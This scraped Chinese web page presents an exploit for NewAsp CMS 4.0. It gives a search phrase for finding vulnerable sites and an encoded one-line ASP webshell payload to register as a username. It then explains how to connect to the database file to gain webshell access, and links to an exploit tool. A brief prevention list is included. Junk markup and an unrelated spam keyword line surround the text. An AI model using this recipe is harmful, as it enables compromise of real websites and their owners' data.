<form id="hz9zz"></form>
    • <form id="hz9zz"></form>
    

      

      <nobr id="hz9zz"></nobr>
      <form id="hz9zz"></form>
      3.   
          
      明輝手游網中心：是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺！
                   
        
                           
        
                        		  
        
                 
              
                
      新云網站系統NewAsp CMS Version 4.0最新0day
                
                  發表時間：2023-04-20             來源：明輝站整理相關軟件相關文章人氣：          
              
      [摘要]概述：             由于新云4.0對注冊用戶未過濾特殊字符， 造成黑客通過腳本編碼轉換將一句話木馬寫入數據庫文件， 從而獲得WEBSHELL權限。    測試：        1. 打開...
      概述： 
                  由于新云4.0對注冊用戶未過濾特殊字符， 造成黑客通過腳本編碼轉換將一句話木馬寫入數據庫文件， 從而獲得WEBSHELL權限。  
        測試： 
        
           1. 打開www.google.cn   搜索關鍵字:Powered By NewAsp CMS Version 4.0 或 新云問吧 
            
           2. 將<%execute request("a")%> 編碼轉換為 ┼攠數畣整爠煥敵瑳∨≡┩愾 
           
           3. 以┼攠數畣整爠煥敵瑳∨≡┩愾   為用戶名注冊帳戶
         4. 用一句話連接端連接 目標站點url/ask/data/ask_newasp.asa ,密碼為 a
         5.上傳腳本大馬或者執行其它操作， 這里WEBSHELL權限已經獲得。  
      預防：
          1.嚴格過濾注冊用戶名， 限制注冊用戶名長度及禁止特殊符號。   
            2.更改ask/data/ask_newasp.asa 路徑及名稱。   
            3.給文件夾做權限設置， 去除公共寫入權限。  
      附工具：
      新云最新Oday利用工具 1010
      下載地址：http://www.arpun.com/soft/3392.html

      上面是電腦上網安全的一些基礎常識，學習了安全知識，幾乎可以讓你免費電腦中毒的煩擾。




              
              
                 
              
                                            
                              		       
                          
                           		  
        
                            
      
日韩精品一区二区三区高清